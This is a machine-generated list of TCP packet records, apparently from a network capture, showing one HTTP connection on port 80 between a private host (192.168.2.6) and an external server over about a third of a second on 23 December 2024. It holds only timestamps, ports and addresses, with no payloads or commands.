Dec 23, 2024 06:54:22.340029001 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.340045929 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.340092897 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.341669083 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.341723919 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.341794968 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.341841936 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.343415022 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.343462944 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.343544006 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.343589067 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.345180988 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.345226049 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.345233917 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.345290899 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.346960068 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.347018957 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.347099066 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.347148895 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.348659992 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.348721981 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.348759890 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.348804951 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.350430012 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.350490093 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.350517988 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.350562096 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.352138042 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.352201939 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.352214098 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.352255106 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.353904963 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.353965044 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.354114056 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.354159117 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.355617046 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.355679035 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.355734110 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.355823040 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.357423067 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.357500076 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.453197002 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.453274012 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.453304052 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.453335047 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.453924894 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.453977108 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.453980923 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.454022884 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.455409050 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.455486059 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.455941916 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.455993891 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.456022978 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.456038952 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.457412004 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.457467079 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.457479000 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.457530975 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.458904028 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.458971024 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.458997011 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.459042072 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.460359097 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.460413933 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.460483074 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.460530996 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.461801052 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.461862087 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.461904049 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.461949110 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.463201046 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.463262081 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.463360071 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.463398933 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.464617968 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.464675903 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.464728117 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.464771986 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.466001034 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.466058016 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.466200113 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.466243029 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.467381001 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.467438936 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.467518091 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.467564106 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.468740940 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.468816996 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.468902111 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.468959093 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.470102072 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.470150948 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.470252991 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.470298052 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.471466064 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.471529007 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.471609116 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.471652985 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.472815990 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.472867966 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.472948074 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.472996950 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.474101067 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.474154949 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.474210024 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.474256992 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.475425005 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.475480080 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.475519896 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.475574970 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.476731062 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.476804018 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.476861954 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.476907015 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.478004932 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.478056908 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.478127956 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.478177071 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.479290009 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.479335070 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.479402065 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.479441881 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.480561018 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.480621099 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.480667114 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.480712891 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.481812954 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.481859922 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.481940031 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.481990099 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.483174086 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.483218908 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.483227968 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.483268976 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.484421015 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.484469891 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.484510899 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.484561920 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.485641003 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.485696077 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.485783100 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.485826969 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.486952066 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.487003088 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.487004042 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.487041950 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.488250017 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.488306046 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.488342047 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.488389969 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.489506960 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.489567995 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.489600897 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.489644051 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.490794897 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.490847111 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.490911961 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.490956068 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.492048979 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.492105007 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.492185116 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.492229939 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.493319988 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.493391037 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.493459940 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.493510962 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.494574070 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.494625092 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.494695902 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.494743109 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.495934010 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.495989084 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.496071100 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.496117115 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.497137070 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.497183084 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.497267008 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.497304916 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.498435020 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.498495102 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.498569965 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.498611927 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.499708891 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.499756098 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.499818087 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.499861002 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.500931978 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.500982046 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.501064062 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.501107931 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.502264023 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.502341986 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.502373934 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.502417088 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.503532887 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.503597021 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.503645897 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.503690958 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.504781008 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.504832029 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.504901886 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.504955053 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.506089926 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.506140947 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.506218910 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.506263018 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.507379055 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.507431030 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.507438898 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.507474899 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.508632898 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.508685112 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.508775949 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.508822918 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.509912968 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.509963036 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.510021925 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.510066986 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.511217117 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.511274099 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.511363029 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.511403084 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.512449026 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.512501955 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.512563944 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.512608051 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.513741970 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.513787985 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.513816118 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.513859034 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.515042067 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.515091896 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.515130043 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.515177011 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.516290903 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.516344070 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.516374111 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.516424894 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.517556906 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.517625093 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.517679930 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.517729044 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.518843889 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.518903971 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.518960953 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.519006014 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.520144939 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.520205021 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.520287991 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.520339012 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.521377087 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.521430016 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.521445990 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.521491051 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.645407915 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.645488024 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.645550966 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.645550966 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.645898104 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.645960093 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.646009922 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.646054029 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.647001028 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.647053003 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.647090912 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.647135019 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.648063898 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.648129940 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.648176908 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.648230076 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.649131060 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.649198055 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.649226904 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.649277925 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.650206089 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.650260925 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.650330067 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.650372982 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.651283979 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.651335955 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.651408911 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.651459932 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.652334929 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.652396917 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.652439117 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.652493000 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.653420925 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.653475046 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.653539896 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.653585911 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.654488087 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.654534101 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.654608011 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.654659033 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.655601978 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.655647039 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.655714035 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.655759096 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.656663895 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.656723976 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.656790018 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.656843901 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.657794952 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.657845020 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.657874107 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.657917023 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.658792019 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.658843994 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.658936977 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.658978939 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.659884930 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.659933090 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.659993887 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.660034895 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.660955906 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.661004066 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.661065102 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.661109924 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.662004948 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.662060022 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.662126064 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.662180901 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.663105965 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.663172960 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.663249969 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.663296938 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.664174080 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.664228916 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.664294004 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.664335966 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.665246010 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.665296078 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.665375948 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.665563107 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.666357040 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.666407108 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.666469097 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.666565895 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.667442083 CET	80	49889	185.215.113.206	192.168.2.6
